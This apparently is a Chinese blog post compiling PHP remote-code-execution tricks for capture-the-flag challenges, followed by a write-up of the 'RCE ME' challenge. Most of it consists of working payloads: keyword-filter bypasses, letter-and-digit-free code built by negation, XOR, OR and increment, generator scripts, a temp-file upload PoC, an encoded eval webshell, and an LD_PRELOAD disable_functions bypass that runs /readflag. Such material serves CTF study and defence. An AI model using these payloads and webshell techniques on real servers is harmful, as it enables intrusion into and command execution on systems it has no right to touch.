无字母数字RCE与LD_PRELOAD绕disable_functions

11 篇文章 0 订阅
4 篇文章 1 订阅

前言:

做到一道RCE的题目,想要整理一下关于RCE的技巧,同时那题用到LD_PRELOAD绕过disable_functions。
本文主要按照自己的理解整合了末初师傅的https://blog.csdn.net/mochu7777777/article/details/104631142与羽师傅的https://blog.csdn.net/miuzzx/article/details/109143413两篇文章中的技巧,两位师傅tql

一、代码执行函数:

eval()
assert()
preg_match() 的/e模式(PHP7.0以后被废弃)
create_function()

......

二、可回调函数:

call_user_func():
call_user_func($_REQUEST['fun'], $_REQUEST['code']);# fun=assert&code=phpinfo()

call_user_func_array():
call_user_func_array('assert', array($_REQUEST['code'])); # code[]=phpinfo()

array_filter(array $array [, callable $callback [, int $flag = 0 ]] )
array_filter($_REQUEST['code'],'assert');  # code[]=phpinfo()

array_map(callable $callback , array $array , array ...$arrays )
array_map($_REQUEST['fun'],$_REQUEST['code'])

usort(array &$array , callable $value_compare_func) : bool
当PHP < 5.6:
usort($_GET[1],'assert'); # 1[]=123&1[]=phpinfo() 第二个参数5.6<= PHP < 7时,利用PHP 5.6新特性:变长参数特性展开数组
uasort(...$_GET); # 1[]=1&1[]=phpinfo()&2=assert

.......

三、绕过关键字的过滤:

0x01、字符串拼接:

适用PHP版本:PHP>=7

在这里插入图片描述

system()
(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......

在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)whoami;,在这种情况下,$name就包含字符串"whoami",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

0x02、字符串转义

适用PHP版本:PHP>=7

以特性形式的字符串会被特殊解析,前提在 双引号 的包裹下:
八进制表示的\[0–7]{1,3}转义字符会自动适配byte。形如:"\160"
十六进制\x[0–9A-Fa-f]{1,2}转义字符表示法。形如"\x41"
Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串。形如"\u{70}"
在这里插入图片描述
Python脚本处理得到16进制、8进制、union编码:

# -*- coding:utf-8 -*-

def hex_payload(payload):
	res_payload = ''
	for i in payload:
		i = "\\x" + hex(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))

def oct_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\" + oct(ord(i))[2:]
		res_payload += i
	print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))

def uni_payload(payload):
	res_payload = ""
	for i in payload:
		i = "\\u{{{0}}}".format(hex(ord(i))[2:])
		res_payload += i
	print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))

if __name__ == '__main__':
	payload = 'phpinfo'
	hex_payload(payload)
	oct_payload(payload)
	uni_payload(payload)

"\x70\x68\x70\x69\x6e\x66\x6f"();				#phpinfo();
"\163\171\163\164\145\155"('whoami');			#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');	#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......

此外八进制的方式还可绕过无字母的限制
在这里插入图片描述

0x03、访问内置函数get_defined_functions()

适用于PHP版本:Windows本地测试的是PHP>=7可以成功,PHP5测试虽然报错但是并不肯定不能使用

内置函数中集成了许多可用的函数,print_r(get_defined_functions())即可查看当前版本下的内置函数
在这里插入图片描述

?cmd=get_defined_functions()[internal][283](); #phpinfo()
?cmd=get_defined_functions()[internal][373](whoami); #system("whoami")

在这里插入图片描述



四、过滤了引号(单引号/双引号):

0x01、动态调用、多次传参绕过

适用PHP版本:无限制

#GET:
_=system&__=dir
#POST:
cmd=$_GET[_]($_GET[__]);

在这里插入图片描述

0x02、又或者使用括号:

适用PHP版本:PHP>=7

在PHP中不一定需要引号(单引号/双引号)来表示字符串
PHP支持我们声明元素的类型,比如$name = (string)whoami;,在这种情况下,$name就包含字符串"whoami",此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理

?cmd=(syste.m)(whoami); //这样whoami就避免用到引号

在这里插入图片描述

五、无字母数字进行RCE

原理是利用除字母数字以外的字符(ASCII码1~256中的字符)进行运算操作而凑出想要的字符

假设是这样的代码:

if(!preg_match('/[a-z0-9]/i',$code)){
    eval($code);
}
0x01、取反
<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
0x02、异或
<?php
//用于生成xor_rce.txt文件,然后用于:异或python脚本
/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");	//用于生成xor_rce.txt文件,然后用于:异或python脚本
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);

# -*- coding: utf-8 -*-
# python异或脚本:
# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

[+] your function:system
[+] your command:ls
("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b");

因为上述要用到引号,如果引号被ban了,还有这样的payload:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
即:${_GET}{%ff}();&%ff=phpinfo

这个脚本用于:和固定值异或

<?php
/*
例:_GET  =>  %a0%b8%ba%ab
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
*/
$payload = '';  //payload

for($i=0;$i<strlen($argv[1]);$i++)
{   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);   //dechex(255) = ff
        if($k == $argv[1][$i])
            $payload .= '%'.dechex($j);
    }
}
echo $payload;
0x03、或

只需将上面异或的php脚本中$c=(urldecode($a)^urldecode($b));改为$c=(urldecode($a)|urldecode($b));即可

0x04、自增

PHP 7.0.12以上版本无法奏效,因为assert函数被官方改动,不再支持动态函数调用

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

使用时需要url编码下:
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B%27!%27%3D%3D%27%40%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___(%24_%5B_%5D)%3B
然后post传入   _=phpinfo();

在这里插入图片描述

0x05、上传临时文件、执行临时文件

原理P神的:无字母数字webshell之提高篇

按我理解:POST上传带有shell命令的文件到目标站点,站点会生成临时文件接收我们发的文件,然后通过shell命令执行临时文件,构造的payload是:
?><?=`. /???/????????[@-[]`;?>

POC:

#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

或者用Burp抓包修改:(Burp上注意URL编码)
在这里插入图片描述






[极客大挑战 2019]RCE ME——LD_PRELOAD 绕过disabled_functions

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

这是一道无字母数字的RCE。
首先可以用取反来尝试一下

<?php
echo urlencode(~'phpinfo');
?>
//输出:%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述
发现确实可以,下一步自然而然想到执行system等函数了,但正如我们所猜到的禁了很多系统函数。
在这里插入图片描述
利用取反写一句话木马然后上连接蚁剑,构造:?code=assert(eval($_POST[1]));

<?php

echo urlencode(~'assert')."\n";

echo urlencode(~'(eval($_POST[1]))')."\n";

//assert(eval($_POST[1]));
?>
//%9E%8C%8C%9A%8D%8B
//%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

在这里插入图片描述
在这里插入图片描述
在蚁剑上直接搜,发现在flag是在根目录下的readflag文件中,需要执行该文件才能有flag
在这里插入图片描述
但并没有权限命令执行权限
在这里插入图片描述
到此,有两种方式解决
1:利用蚁剑的绕过disabled function插件
2:通过环境变量 LD_PRELOAD 劫持系统函数
第一种方法不难操作,第二种方法又该怎么操作呢?

放上GitHub上大佬的项目:bypass disable_functions via LD_PRELOAD
原理(我讲不来…)在里面讲的很详细,相关EXP也在其中

本项目中有三个关键文件,bypass_disablefunc.php、bypass_disablefunc_x64.so、bypass_disablefunc_x86.so。

bypass_disablefunc.php 为命令执行 webshell,提供三个 GET 参数:
cmd: 待执行的系统命令
outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx)
sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /var/www/bypass_disablefunc_x64.so)
后两个参数要注意是否有读写权限等

http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

在/var/tmp处有上传权限,上传两个文件
在这里插入图片描述
上传之后,就要构造payload了,网上异或的payload:

${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

即:${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST['a'])
$a=urldecode('%fe%fe%fe%fe')
$b=urldecode('%a1%b9%bb%aa')
echo $a^$b		//输出:_GET

最终payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/1.txt&sopath=/var/tmp/bypass_disablefunc_x64.so

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值